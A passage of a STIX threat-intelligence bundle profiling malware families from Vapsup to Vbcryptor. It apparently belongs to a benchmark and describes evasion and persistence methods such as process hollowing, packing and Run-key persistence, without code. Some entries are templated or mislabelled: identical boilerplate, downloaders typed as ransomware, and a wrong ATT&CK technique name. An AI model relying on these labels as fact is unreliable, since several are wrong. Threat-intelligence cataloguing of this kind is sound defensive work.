      "description": "Trojan:Win32/Vapsup is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vapsup</b><br>To an end-user, a Vapsup infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vapsup is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vapsup is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vapsup frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vapsup reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vapsup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vapsup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4753261c-0f54-5cf8-9785-2fbc62b67088",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f39d80d-3120-5bb5-b9bd-e21dd5e8c431",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vapsup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--060006ec-18bb-5d9d-ae44-1d941ccc5630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f39d80d-3120-5bb5-b9bd-e21dd5e8c431",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vapsup exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fa2be5a-5e48-5002-aa74-dba3ad0f4bf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f39d80d-3120-5bb5-b9bd-e21dd5e8c431",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vapsup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaebc43d-b283-516a-ae8a-47936353c4be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f39d80d-3120-5bb5-b9bd-e21dd5e8c431",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vapsup exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ae30f3c-3648-511e-b4ef-ce983b2d2d61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f39d80d-3120-5bb5-b9bd-e21dd5e8c431",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vapsup exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--90faf752-63aa-50b0-a545-a5d01be043a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vawtrak",
      "description": "Vawtrak (widely cataloged across international law enforcement and intelligence communities as Neverquest or Snifula) is one of the most damaging banking trojans of the 2010s, first observed in 2013. Designed for large-scale financial theft, Vawtrak compromised thousands of victim bank accounts across major financial institutions globally, stealing millions of dollars.\n\nVawtrak was authored with roots tracing back to the Gozi (ISFB) and Shiz trojan codebases. It executes man-in-the-browser (MitB) webinjects to intercept online banking credentials, bypass two-factor authentication, and establish covert VNC connections allowing operators to conduct fraudulent transactions from the victim's own authenticated browser session. In January 2017, Spanish police arrested Russian mastermind Stanislav Lisov (known online as 'Black' and 'BlackDB') in Barcelona pursuant to an FBI warrant. In February 2019, Lisov pleaded guilty in the US District Court for the Southern District of New York (SDNY) to conspiring to commit computer hacking through the development and administration of Neverquest/Vawtrak, and was sentenced in November 2019. (Observed samples in benchmark: 50)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Vawtrak",
        "Neverquest",
        "Snifula",
        "Win32/Vawtrak",
        "Trojan.Vawtrak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vawtrak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vawtrak"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb721934-f854-5753-8bae-6ce97702c453",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90faf752-63aa-50b0-a545-a5d01be043a7",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vawtrak exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7318dabc-c945-5dd2-abd7-39786d5800cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90faf752-63aa-50b0-a545-a5d01be043a7",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vawtrak exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8c593fae-39c5-5d09-a67b-53eae93478e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1022: Data Encrypted for Impact",
      "description": "MITRE ATT&CK Technique T1022 (Data Encrypted for Impact) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1022",
          "url": "https://attack.mitre.org/techniques/T1022/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcd6cf88-a0ab-5032-b485-9043f6c76c23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90faf752-63aa-50b0-a545-a5d01be043a7",
      "target_ref": "attack-pattern--8c593fae-39c5-5d09-a67b-53eae93478e4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vawtrak exhibits technique T1022 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9affdd1c-540b-5ff6-8adf-2a71a8beefde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90faf752-63aa-50b0-a545-a5d01be043a7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vawtrak exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8be6af98-9b91-5b45-9a7b-874635866cb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90faf752-63aa-50b0-a545-a5d01be043a7",
      "target_ref": "attack-pattern--4481688a-8575-5616-a5d0-9b36b9db0d8f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vawtrak exhibits technique T1027.003 (Obfuscated Files or Information: Steganography)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f312f2e-ed81-566f-8203-bdc83f04ab4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbcheman",
      "description": "Trojan:Win32/Vbcheman is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vbcheman</b><br>To an end-user, a Vbcheman infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vbcheman is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vbcheman is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vbcheman frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vbcheman reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbcheman",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbcheman"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fda1e7e-d707-50e2-8fd9-72932ecd1415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f312f2e-ed81-566f-8203-bdc83f04ab4e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcheman exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b341ae65-23e3-596e-a139-8cbc4bb707d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f312f2e-ed81-566f-8203-bdc83f04ab4e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcheman exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7fea2e5-d1fb-59dc-8eee-94a36031d68a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f312f2e-ed81-566f-8203-bdc83f04ab4e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcheman exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1762e4bc-2105-5179-bba2-54db63952258",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f312f2e-ed81-566f-8203-bdc83f04ab4e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcheman exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03945a58-d0c8-5bb2-8dd3-39ad628a238c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f312f2e-ed81-566f-8203-bdc83f04ab4e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcheman exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7610fc98-11a5-5f2c-8bd1-3ca1eafa2a2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbclone",
      "description": "VBClone (identified across security telemetry as Trojan:Win32/VBClone!rfn, Trojan.VBClone, and Win32/VBClone) represents a widely distributed family of Visual Basic-compiled trojans and secondary droppers documented by Microsoft Defender, McAfee, and Sophos. Compiled against standard Visual Basic runtime libraries (MSVBVM60.DLL / MSVBVM50.DLL), VBClone binaries leverage multi-layer packing and crypters to evade signature-based endpoint scanners. Upon execution, the malware establishes persistence through user Run registry keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and drops obfuscated payload stages into the %APPDATA% and %TEMP% system directories. VBClone performs basic environmental profiling to detect virtual machines and automated sandboxes before reaching out to hardcoded command-and-control servers via HTTP/HTTPS. Its primary operational objectives include deploying secondary infostealers, staging banking trojans, and establishing backconnect access on infected Windows workstations. (Observed samples in benchmark: 601)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/VBClone!rfn",
        "Trojan.VBClone",
        "Win32/VBClone",
        "Trojan.Win32.VBClone",
        "Trojan:Win32/VBClone.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbclone",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbclone"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--647c7200-abb7-5b58-8acc-d61da51d5686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7610fc98-11a5-5f2c-8bd1-3ca1eafa2a2f",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbclone exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--648f0344-c217-506a-8da5-d2ff1fe0a9ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7610fc98-11a5-5f2c-8bd1-3ca1eafa2a2f",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbclone exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--809f1fc9-c949-50b3-ab0c-4c7c323d1681",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7610fc98-11a5-5f2c-8bd1-3ca1eafa2a2f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbclone exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6977c708-5f38-5439-8227-766697835879",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7610fc98-11a5-5f2c-8bd1-3ca1eafa2a2f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbclone exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dd40ab7-3a83-5804-83e5-ae01909219bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7610fc98-11a5-5f2c-8bd1-3ca1eafa2a2f",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbclone exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc0db6ae-b8f6-5604-b380-caaec2f6842c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbcode",
      "description": "<h3>Executive Summary</h3>\nVBCode is a general classification given to malicious scripts or Trojans written entirely or predominantly in Visual Basic Script (VBScript) or utilizing VBA (Visual Basic for Applications) macros. This classification highlights malware that leverages the native scripting capabilities of the Windows OS and Microsoft Office suite to execute \"fileless\" attacks, evade traditional antivirus, and establish persistence without writing compiled binary files (like .exe) to disk.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVBCode malware relies almost entirely on social engineering and the exploitation of legitimate administrative tools:\n<ul>\n<li><strong>Macro-Enabled Documents:</strong> The primary distribution vector involves spear-phishing emails containing weaponized Word or Excel documents. When the user enables macros, the embedded VBA code executes, acting as a lightweight dropper.</li>\n<li><strong>Living off the Land (LotL):</strong> VBCode scripts do not need to bring their own execution environment; they utilize the native Windows Script Host (`wscript.exe` or `cscript.exe`). By utilizing these trusted system binaries, the malware frequently bypasses application whitelisting and basic endpoint controls.</li>\n<li><strong>Obfuscation and Execution:</strong> The VBScript files are often heavily obfuscated (using string reversal, character encoding, or variable randomization) to hide their intent from static scanners. Upon execution, the script typically reaches out to a remote C2 server to download and execute secondary payloads (like PowerShell scripts or compiled trojans) directly into memory.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile a VBScript file itself is small and seemingly simple, VBCode malware represents a highly effective initial access technique. The reliance on native tools makes it difficult to detect, and it frequently serves as the gateway for severe enterprise threats, including ransomware deployment or the establishment of persistent backdoor access.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Macro Security Policies:</strong> The most effective defense against VBCode malware is preventative: Enforce strict Group Policies that disable macros for Microsoft Office documents downloaded from the internet (Mark of the Web) globally across the enterprise.</li>\n<li><strong>Script Host Restrictions:</strong> Monitor or restrict the execution of `wscript.exe` and `cscript.exe` using EDR or AppLocker, especially when those processes are spawned directly by Office applications or email clients.</li>\n<li><strong>Behavioral Monitoring:</strong> Security teams must focus on the behavior of the script host rather than static file scanning. Monitor for VBScript execution that spawns PowerShell, attempts unauthorized registry modifications, or makes outbound network connections to unknown IP addresses.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VBS.Downloader",
        "Trojan.VBScript",
        "Macro.VBCode"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbcode",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbcode"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91ecf244-6afc-5637-b3f7-122c920669a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc0db6ae-b8f6-5604-b380-caaec2f6842c",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcode exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a5675d9-60e4-564a-bea6-5094a734c98d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc0db6ae-b8f6-5604-b380-caaec2f6842c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcode exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40d15e1f-649d-5017-828e-662d68f085e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc0db6ae-b8f6-5604-b380-caaec2f6842c",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcode exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--20e144c2-ba6e-5fe5-bcd3-ffcf75357d31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbcryptent",
      "description": "Trojan:Win32/Vbcryptent is a generic heuristic detection utilized by security vendors to classify a wide variety of malicious payloads (trojans, stealers, worms) that have been obfuscated, packed, or encrypted using **Visual Basic (VB)** wrapping techniques. The goal of this encryption is to completely hide the underlying malicious code from static, signature-based antivirus scanners, allowing the threat to execute undetected.<br><br><b>Understanding VB Crypters</b><br>To an end-user, the infection is typically invisible until the hidden payload executes. For a security analyst, a Vbcryptent detection means the attacker is actively utilizing evasion tools (`T1027`). The actual malware could be anything from a simple adware dropper to a devastating banking trojan. Visual Basic is frequently chosen for crypters because it is easy to program, compiles quickly, and its runtime library (`MSVBVM60.DLL`) is present on almost all legacy Windows systems.<br><br><b>Execution and Unpacking Mechanics</b><br>Vbcryptent-packed malware is typically distributed via spear-phishing attachments (like fake invoices) (`T1566.001`) or downloaded by exploit kits. When the victim executes the file (`T1204.002`), the VB 'stub' runs first. The true malicious payload is stored as an encrypted string or resource within the VB executable. The stub allocates memory, uses an embedded key (often simple XOR or RC4) to decrypt the payload directly into RAM (`T1055`), and then passes execution control to it via techniques like RunPE (Process Hollowing) (`T1055.012`). The malicious code never touches the hard drive in its unencrypted state, rendering static analysis useless.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload. The primary IoC is the detection of the Vbcryptent heuristic on a newly downloaded executable. Security analysts analyzing the file statically will observe high entropy (randomness indicating encryption), reliance on VB runtime libraries, and practically zero readable strings. Dynamic analysis (EDR) is required to detect the unpacking process, specifically looking for `CreateProcess` followed by `NtUnmapViewOfSection` and `WriteProcessMemory`, which indicates the VB stub is hollowing out a legitimate process to inject the real malware. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbcryptent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbcryptent"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ef52d12-8fb6-50ea-a9bf-9c27a2fccfd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20e144c2-ba6e-5fe5-bcd3-ffcf75357d31",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptent exhibits technique T1027 (Obfuscated Files or Information (VB Packing/Encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46e1b63f-429c-5694-b081-806307fe19ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20e144c2-ba6e-5fe5-bcd3-ffcf75357d31",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptent exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE technique))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95b62a93-ea21-5450-8bf1-608cfa680543",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20e144c2-ba6e-5fe5-bcd3-ffcf75357d31",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptent exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13e3fcb0-d7a4-52ed-b7df-bd4a14569aa7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20e144c2-ba6e-5fe5-bcd3-ffcf75357d31",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptent exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--107eeb27-ae1d-5f0f-904c-cce21dddd832",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbcryptor",
      "description": "Ransomware:Win32/Vbcryptor is a broad detection name applied to various strains of ransomware, file encoders, and malicious crypters that are compiled using Microsoft Visual Basic (VB) or Visual Basic .NET (VB.NET). Because VB executables are often heavily dependent on the .NET framework and are relatively easy to decompile, malware authors use 'Vbcryptor' wrapper tools to heavily obfuscate their actual payloads, making static analysis extremely difficult.<br><br><b>Understanding Vbcryptor (Visual Basic Crypters)</b><br>To an end-user, an encounter with Vbcryptor usually ends in tragedy: personal files are suddenly appended with strange extensions (like `.locked` or `.crypto`), and a ransom note demands cryptocurrency to restore access. For a malware analyst, encountering a Vbcryptor file means the first step is unpacking. The outer VB layer is rarely the actual ransomware; instead, it is a highly obfuscated 'packer' or 'crypter' designed solely to evade antivirus (`T1027.002`). The true payload (which could be anything from a banking trojan to a well-known ransomware family like Locky or 